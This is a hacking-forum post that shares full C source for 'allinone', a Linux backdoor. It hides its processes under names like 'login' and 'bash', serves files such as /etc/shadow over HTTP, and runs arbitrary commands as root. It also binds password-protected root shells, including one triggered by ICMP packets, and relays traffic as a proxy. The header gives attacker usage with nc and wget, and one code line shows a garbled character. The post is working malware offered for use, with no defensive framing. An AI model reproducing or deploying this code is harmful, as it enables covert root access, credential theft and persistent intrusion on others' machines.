Post Reply 
 
Thread Rating:
  • 0 Votes - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[C]allinone
06-07-2010, 05:07 AM
Post: #1
[C]allinone
Code:
/************************************************************************
* allinone.c for HUC (2002.1)
*
* allinone.c is
* a Http server,
* a sockets transmit server,
* a shell backdoor,
* a icmp backdoor,
* a bind shell backdoor,
* a like http shell,
* it can translate file from remote host,
* it can give you a socks5 proxy,
* it can use for to attack, jumps the extension, Visits other machines.
* it can give you a root shell.:)
*
* Usage:
* compile:
* gcc -o allinone allinone.c -lpthread
* run on target:
* ./allinone
*
* 1.httpd server
* Client:
* http://target:8008/givemefile/etc/passwd
* lynx -dump http://target:8008/givemefile/etc/shadow > shadow
* or wget http://target:8008/givemefile/etc/shadow
*
* 2.icmp backdoor
* Client:
* ping -l 101 target (on windows)
* ping -s 101 -c 4 target (on linux)
* nc target 8080
* kissme:)   --> your password
*
* 3.shell backdoor
* Client:
* nc target 8008
* kissme:)   --> your password
*
* 4.bind a root shell on your port
* Client:
* http://target:8008/bindport:9999
* nc target 9999
* kissme:)   --> your password  
*
* 5.sockets transmit
* Client:
* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port
* http://target:8008/socks/:1080::192.168.0.1:::21
* nc target 1080
*
* 6.http shell
* Client:
* http://target:8008/givemeshell:ls -al (no pipe)
*
* ps:
* All bind shell have a passwd, default is: kissme:)
* All bind shell will close, if Two minutes do not have the connection.
* All bind shell only can use one time until reactivates.  
*
*
* Code by lion, e-mail: lion@cnhonker.net
* Welcome to HUC Website, Http://www.cnhonker.com
*
* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
*
************************************************************************/


#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>


#define HTTPD_PORT    8008
#define BIND_PORT    8888
#define ICMP_PORT    8080
#define TRAN_PORT    1080
#define SIZEPACK    101
#define MAXSIZE        32768
#define TIMEOUT        120
#define CONNECT_NUMBER    1
#define HIDEME        "[login]       "
#define HIDEICMP    "[su]       "
#define HIDEFILE    "[bash]       "
#define GET_FILE    "givemefile"
#define SHELL_NAME    "givemeshell"
#define BIND_NAME    "bindport"
#define TRAN_NAME    "socks"
#define DISPART        ":"
#define DISPART1    "::"
#define DISPART2    ":::"
#define PASSWORD    "kissme:)"     /* Change it */
#define MESSAGE        "\r\n========Welcome to http://www.cnhonker.com========\r\n==========You got it, have a goodluck. :)=========\r\n\r\nYour command: \0"
#define GIVEPASS     "\r\nEnter Your password: \0"

#define max(a, b) (a)>(b)?(a) : (b)

int maxfd, infd, outfd;
unsigned char ret_buf[32768];

int    daemon_init();        /* init the daemon, if success return 0 other <0 */
void    sig_chid();        /* wait the child die */
int    TCP_listen();        /* success return 1 else return -1 */
char*    read_file();        /* return the file content as a large string, buf value like GET /index.html HTTP:/1.1 */
ssize_t    writen_file();        /* writen data to socket */
int    bind_shell();        /* bind a root shell to a port */
int    get_shell();        /* get me the root shell */
int    icmp_shell();        /* icmp backdoor */
int    socks();        /* socks */
int    create_socket();
int    create_serv();
int    client_connect();
int    quit();
void    out2in();
char    x2c();            /* http shell */
void    unescape_url();
void    plustospace();


/* The main function from here */
int main(int argc, char *argv[])
{
    int fd, len, i, icmp;
    int csocket;
    struct sockaddr_in caddr;
    char readstr[4000];
    char *cbuf;
    pid_t pid;

    /* make it to a daemon */
    /*signal(SIGHUP, SIG_IGN);*/
    signal(SIGCHLD, sig_chid);
    daemon_init();

    if((pid = fork()) == -1) exit(0);
    if(pid <= 0)
    {
        strcpy(argv[0], HIDEICMP);
        icmp_shell();
    }

    fd = TCP_listen(HTTPD_PORT);
    if(fd <= 0) return -1;

    for(;;)
    {  
        strcpy(argv[0], HIDEME);

        /* check httpd */
        len = sizeof(caddr);
        if((csocket = accept(fd, &caddr, &len)) < 0) continue;
        if((pid = fork()) == -1) continue;
        if(pid <= 0)
        {
            strcpy (argv[0], HIDEFILE);
            i = recv(csocket, readstr, 4000,0);
            if (i == -1) break;
            if( readstr[ i -1 ] != '\n' ) break;
            readstr [i] = '\0';
            /*printf("Read from client: %s \n", readstr);*/
            cbuf = read_file(readstr, csocket);
            close(csocket);
        }
        close(csocket);
    }
    close(fd);
    return(1);
}


/* init the daemon, if success return 0 other <0 */
int daemon_init()
{
    struct sigaction act;
    int i, maxfd;

    if(fork() != 0) exit(0);
    if(setsid() < 0) return(-1);

    act.sa_handler = SIG_IGN;
    /*act.sa_mask = 0;*/
    act.sa_flags = 0;

    sigaction(SIGHUP, &act, 0);

    if(fork() != 0) exit(0);

    chdir("/");
    umask(0);
    maxfd = sysconf(_SC_OPEN_MAX);
    for(i=0; i<maxfd; i++)
    close(i);
    open("/dev/null", O_RDWR);
    dup(0);
    dup(1);
    dup(2);
    return(0);
}


/* wait the child die */
void sig_chid(int signo)
{
    pid_t pid;
    int stat;
    while((pid = waitpid(-1, &stat, WNOHANG))>0);
    printf("children %d died\n", pid);
    return;
}

/* success return 1 else return -1 */
int TCP_listen(int port)    
{
    struct sockaddr_in laddr ;
    int fd;
    socklen_t len ;
    fd = socket(AF_INET, SOCK_STREAM, 0);
    len = sizeof(laddr) ;
    memset(&laddr, 0, len) ;
    laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
    laddr.sin_family = AF_INET ;
    laddr.sin_port = htons(port) ;  
    if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
    if(listen(fd, 5)) return(-1);
    return(fd);
}

/* http server */
char * read_file(char *buf, int fd)  
{
    char *erro=
    "Content-type: text/html\n\n"
    "HTTP/1.1 404 Not Found\n"
    "Date: Mon, 14 Jan 2002 03:19:55 GMT\n"
    "Server: Apache/1.3.22 (Unix)\n"
    "Connection: close\n"
    "Content-Type: text/html\n\n"
    "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n"
    "<HTML><HEAD>\n"
    "<TITLE>404 Not Found</TITLE>\n"
    "</HEAD><BODY>\n"
    "<H1>Not Found</H1>\n"
    "The requested URL was not found on this server.<P>\n"
    "<HR>\n"
    "<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n"
    "</BODY></HTML>\n\n";

    char *bindok=
    "Content-type: text/html\n\n"
    "<html>\n<head><title>Bind Shell ok.:)</title></head>\n"
    "<body bgcolor=\"#000000\">\n"
    "<div align=\"center\"><p>\n"
    "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
    "You get it, goodluck! :-)\n"
    "</b></font></p></div><br>\n"
    "</body></html>\n\n";

    char *tranok=
    "Content-type: text/html\n\n"
    "<html>\n<head><title>Tran ok.:)</title></head>\n"
    "<body bgcolor=\"#000000\">\n"
    "<div align=\"center\"><p>\n"
    "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
    "Tran ok!\n"
    "</b></font></p></div><br>\n"
    "</body></html>\n\n";

    char *httpok1=
    "Content-type: text/html\n\n"
    "<html>\n<head><title>Shell ok.:)</title></head>\n"
    "<body bgcolor=\"#000000\">\n"
    "<div align=\"left\">\n"
    "<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n";

    char *httpok2=
    "</font></pre></div><br>\n"
    "</body></html>\n\n";

    char *yourcom=
    "<b>Your Command:</b>\n";

    char *br=
    "<br>\n";

    int listenp, targetp, i, j, c, bport;
    char *cmd, *par, *op, *hp, *tp, *targeth, *command;
    char *swap_file = "/tmp/tmp.txt";
    char *setpath = "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.";
    FILE *f;

    /* check give me shell */
    cmd = buf;
    par = strstr(cmd, PASSWORD);
    if(par != NULL)  
    {
        /*printf("Get Shell:\n");*/
        get_shell(fd);
        exit(0);
    }

    /* check bind root shell on a port */
    par = strstr(cmd, BIND_NAME);
    op = strstr(cmd, DISPART);
    if(par != NULL && op != NULL)
    {
        bport = atoi(op + strlen(DISPART));
        if(bport <= 0)
            bport = BIND_PORT;
        /*printf("Bind Port: %d\n", bport);*/
        write(fd, bindok, strlen(bindok));
        close(fd);
        bind_shell(bport);
        exit(0);
    }

    /* check Tran code */
    par = strstr(cmd, TRAN_NAME);
    op = strstr(cmd, DISPART);
    hp = strstr(cmd, DISPART1);
    tp = strstr(cmd, DISPART2);
    if(par != NULL && op != NULL && hp != NULL && tp != NULL)
    {
        listenp = atoi(op + strlen(DISPART));
        if(listenp <= 0)
        listenp = TRAN_PORT;
        targetp = atoi(tp + strlen(DISPART2));
        if(targetp <= 0)
            targetp = 23;

        hp = (hp + strlen(DISPART1));
        targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp));
        targeth[strlen(hp) - strlen(tp)] = '\0';

        /*printf("Tran Port: listen %d port to %s %d port\n", listenp, targeth, targetp);*/
        write(fd, tranok, strlen(tranok));
        close(fd);
        /*
        listenp = 1080;
        targetp = 21;
        targeth = "192.168.0.14";
        */
        socks(listenp, targeth, targetp);
        exit(0);
    }

    /* check http shell */
    par = strstr(cmd, SHELL_NAME);
    op = strstr(cmd, DISPART);
    if(par != NULL && op != NULL)
    {
        tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART);
        hp = strstr(tp, "HTTP");
        if(hp != NULL) *hp = '\0';
        tp[strlen(tp) - 1] = 0;
        plustospace(tp);
        unescape_url(tp);
        /*printf("HTTP Shell: %s\n", tp);*/

        c = j = strlen(tp);
        tp[j] = ' ';j++;
        tp[j] = ' ';j++;
        tp[j] = '>';j++;
        tp[j] = ' ';j++;
        for(i = 0; i <= strlen(swap_file); i++, j++)
        {
            tp[j] = swap_file[i];
        }
        tp[j + strlen(swap_file)] = '\0';

        command = tp;
        /*printf("command: %s\n",command); */
        setuid(0);
        setgid(0);
        chdir("/");
        putenv(setpath);
        /*printf("setpath ok!\n");*/
        system(command);
        /*printf("system ok!\n");*/

        f = fopen(swap_file, "r");
        if (f == NULL)
        {
            /*printf("Swap file error");*/
            writen_file(fd, erro, strlen(erro));
            return erro;
        }

        writen_file(fd, httpok1, strlen(httpok1));
        writen_file(fd, yourcom, strlen(yourcom));
        writen_file(fd, command, c);
        writen_file(fd, br, strlen(br));
        writen_file(fd, br, strlen(br));
        while( !feof(f) )
        {
            i = fread(ret_buf, 1, 32768, f);
            if (i == 0) break;
            writen_file(fd, ret_buf, i);
        }
        fclose(f);
        writen_file(fd, br, strlen(br));
        writen_file(fd, httpok2, strlen(httpok2));
        remove(swap_file);
        exit(0);
    }

    /* check getfile */
    par = NULL;
    par = strstr(cmd, GET_FILE);
    if(par != NULL)
    {
        op = buf + 5 + strlen(GET_FILE);
        tp = strstr(op, "HTTP");
        if(tp != NULL) *tp = '\0';
        op[strlen(op) - 1] = 0;
        /*printf("Get File: %s\n", op);*/
        f = fopen(op, "r");
        if (f == NULL)
        {
            writen_file(fd, erro, strlen(erro));
            return erro;
        }

        while( !feof(f) )
        {
            i = fread(ret_buf, 1, 32768, f);
            if (i == 0) break;
            writen_file(fd, ret_buf, i);
        }
        fclose(f);
        exit(0);
    }
    writen_file(fd, erro, strlen(erro));
    close(fd);
    exit(-1);
}


/* writen data to socket */
ssize_t writen_file(int fd, const void *vptr, size_t n)  
{
    size_t nleft;
    ssize_t nwritten;
    const char *ptr;
    ptr = vptr;
    nleft = n;
    while(nleft > 0)
    {
        if((nwritten = write(fd, ptr, nleft)) <= 0)
        {
            if(errno == EINTR)
            nwritten = 0;
            else
            return(-1);
        }
        nleft -= nwritten;
        ptr += nwritten;
    }
    return(n);
}

/* bind root shell to a port */
int bind_shell(int port)
{
    int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
    char passwd[15];

    struct sockaddr_in serv_addr;
    struct sockaddr_in client_addr;
    struct timeval testtime;

    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);

    chdir("/");

    soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  
    if (soc_des == -1)
        exit(-1);

    bzero((char *) &serv_addr,sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(port);

    soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

    if (soc_rc != 0)
        exit(-1);
    if (fork() != 0)
        exit(0);
    setpgrp();
    if (fork() != 0)
        exit(0);
    soc_rc = listen(soc_des, 5);
    if (soc_rc != 0)
        exit(0);
  
    testtime.tv_sec = TIMEOUT;
    testtime.tv_usec = 0;

    /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, sizeof(testtime));*/

    alarm(TIMEOUT);
    soc_len = sizeof(client_addr);
    soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

    if (soc_cli < 0)
        exit(0);
    alarm(0);

    cli_pid = getpid();
    server_pid = fork();

    if (server_pid != 0)
    {
        write(soc_cli, GIVEPASS, strlen(GIVEPASS));
        recv(soc_cli, passwd, sizeof(passwd), 0);

        for (i = 0; i < strlen(passwd); i++)
        {
            if (passwd[i] == '\n' || passwd[i] == '\r')
            {
                passwd[i] = '\0';
            }
        }

        if (strcmp(passwd, PASSWORD) != 0)
        {
            close(soc_cli);
            close(soc_rc);
            exit(-1);
        }

        write(soc_cli, MESSAGE, strlen(MESSAGE));
        for (i = 0; i < 3; i++)
        {
            dup2(soc_cli, i);
        }

        execl("/bin/sh","sh",(char *)0);
        close(soc_cli);
        close(soc_rc);
        exit(1);
    }
    close(soc_cli);
    close(soc_rc);
    exit(0);
}

/* return a root shell */
int get_shell(int fd)
{
    int i;
    setuid(0);
    setgid(0);

    chdir("/");
    write(fd, MESSAGE, strlen(MESSAGE));
    for (i = 0; i < 3; i++)
    {
        dup2(fd, i);
    }
    execl("/bin/sh","sh",(char *)0);
    close(fd);
    return 1;
}

/* icmp backdoor */
int icmp_shell()
{
    int i, s, size, fromlen, port = ICMP_PORT;
    char pkt[4096];

    struct protoent *proto;
    struct sockaddr_in from;

    proto = getprotobyname("icmp");

    /* can't creat raw socket */
    if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)  
    exit(0);

    /* waiting for packets */
    while(1)
    {
        do
        {
            fromlen = sizeof(from);
            if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&from, &fromlen)) < 0)
            printf("", size - 28);
        }while(size != SIZEPACK + 28);

        /* size == SIZEPACK, let's bind the shell on your port :)*/
        switch(fork())  
        {
        case -1:
            continue;

        case 0:
            bind_shell(port);
        exit (0);
        }
    }
    return 1;
}

/* tran socks code */
int socks(int listenp, char *targeth, int targetp)
{
    int listfd, outside, inside, size;
    pthread_t thread1;
    struct sockaddr_in client;

    if(!(listfd = create_socket())) exit(1);
    if(!(create_serv(listfd, listenp))) exit(1);
  
    for(;;)
    {
        size = sizeof(struct sockaddr);
        /*printf("waiting for response.........\n");*/
        if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0)
        {
            /*printf("accept error\n");*/
            continue;
        }

        /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/
        if(!(infd=create_socket())) exit(1);
        if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);  
  
        maxfd = max(outfd, infd) + 1;
        pthread_create(&thread1, NULL, (void *)&out2in, NULL);
    }
    close(listfd);
}

int create_socket()
{  
    int sockfd;

    if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0)
    {
        /*printf("Create socket error\n");*/
        return(0);
    }
    return(sockfd);
}

int create_serv(int sockfd, int port)
{
    struct sockaddr_in srvaddr;
  
    bzero(&srvaddr, sizeof(struct sockaddr));
    srvaddr.sin_port = htons(port);
    srvaddr.sin_family = AF_INET;
    srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  
    if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
    {
        /*printf("Bind to port %d error\n",port);*/
        return(0);
    }
  
    if(listen(sockfd,CONNECT_NUMBER)<0)
    {
        /*printf("listen error\n");*/
        return(0);
    }
    return(1);
}

int client_connect(int sockfd, char *server, int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if(!(host = gethostbyname(server)))
    {
        /*printf("gethostbyname error:%s\n",server);*/
        return(0);
    }  
  
    bzero(&cliaddr, sizeof(struct sockaddr));
    cliaddr.sin_family = AF_INET;
    cliaddr.sin_port = htons(port);
    cliaddr.sin_addr = *((struct in_addr *)host->h_addr);
  
    if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < 0)
    {
        /*printf("connect %s:%d error\n",server,port);*/
        return(0);
    }
    return(1);
}

int quit(int a, int b, int c)
{
    close(a);
    close(b);
    close(c);
    exit(1);
}

void out2in()
{
    struct timeval timeset;
    fd_set readfd, writefd;
    int result, i = 0;
    char read_in1[MAXSIZE], send_out1[MAXSIZE];
    char read_in2[MAXSIZE], send_out2[MAXSIZE];
    int read1 = 0, totalread1 = 0, send1=0;
    int read2 = 0, totalread2 = 0, send2=0;
    int out_fd, in_fd;
  
    out_fd = outfd;
    in_fd = infd;
  
    bzero(read_in1, MAXSIZE);
    bzero(read_in2, MAXSIZE);
    bzero(send_out1, MAXSIZE);
    bzero(send_out2, MAXSIZE);
  
    timeset.tv_sec = TIMEOUT;
    timeset.tv_usec = 0;

    while(1)
    {
        FD_ZERO(&readfd);
        FD_ZERO(&writefd);
  
        FD_SET(out_fd, &readfd);
        FD_SET(in_fd, &writefd);
        FD_SET(out_fd, &writefd);
        FD_SET(in_fd, &readfd);
  
        result = select(maxfd, &readfd, &writefd, NULL, ��et);
        if(result < 0)
        {
            /*printf("select error\n");*/
            return;
        }
        else
        if(result == 0)
        {
            /*printf("time out\n");*/
            return;
        }
    
        if(FD_ISSET(out_fd, &readfd))
        {
            read1 = recv(out_fd, read_in1, MAXSIZE, 0);
            if(read1 == 0) break;
            if(read1 < 0)
            {
                /*printf("read data error\n");*/
                return;
            }
            memcpy(send_out1 + totalread1, read_in1, read1);
            totalread1 += read1;
            bzero(read_in1, MAXSIZE);
        }
        if(FD_ISSET(in_fd, &writefd))
        {
            while(totalread1 > 0)
            {
                send1 = write(in_fd, send_out1, totalread1);
                if(send1 == 0)break;
                if(send1 < 0)
                {
                    /*printf("unknow error\n");*/
                    continue;
                }
                totalread1 -= send1;
            }
            bzero(send_out1, MAXSIZE);
        }

        if(FD_ISSET(in_fd, &readfd))
        {
            read2 = recv(in_fd, read_in2, MAXSIZE, 0);
            if(read2 == 0) break;
            if(read2 < 0)
            {
                /*printf("read data error\n");*/
                return;
            }

            memcpy(send_out2 + totalread2, read_in2, read2);
            totalread2 += read2;
            bzero(read_in2, MAXSIZE);
        }

        if(FD_ISSET(out_fd, &writefd))
        {
            while(totalread2 > 0)
            {
                send2 = write(out_fd, send_out2, totalread2);
                if(send2 == 0) break;
                if(send2 < 0)
                {
                    /*printf("unknow error\n");*/
                    continue;
                }

                totalread2 -= send2;
            }
            bzero(send_out2, MAXSIZE);
        }
    }  
    close(out_fd);
    close(in_fd);
    return;
}

char x2c(char *what)
{
    register char digit;

    digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
    digit *= 16;
    digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
    return (digit);
}


void unescape_url(char *url)
{
    register int x, y;

    for(x = 0 , y = 0; url[y]; ++x, ++y)
    {
        if((url[x] = url[y]) == '%')
        {
            url[x] = x2c(&url[y + 1]);
            y += 2;
        }
    }
    url[x] = '\0';
}

void plustospace(char *str)
{
    register int x;

    for(x = 0; str[x]; x++)
    if (str[x] == '+')
    str[x] = ' ';
}

Smile much better than the last shell i posted

"Character is determined more by the lack of certain experiences than by those one has had."
Friedrich Nietzsche
Visit this user's website Find all posts by this user
Quote this message in a reply
Post Reply 


Forum Jump:


 Quick Theme: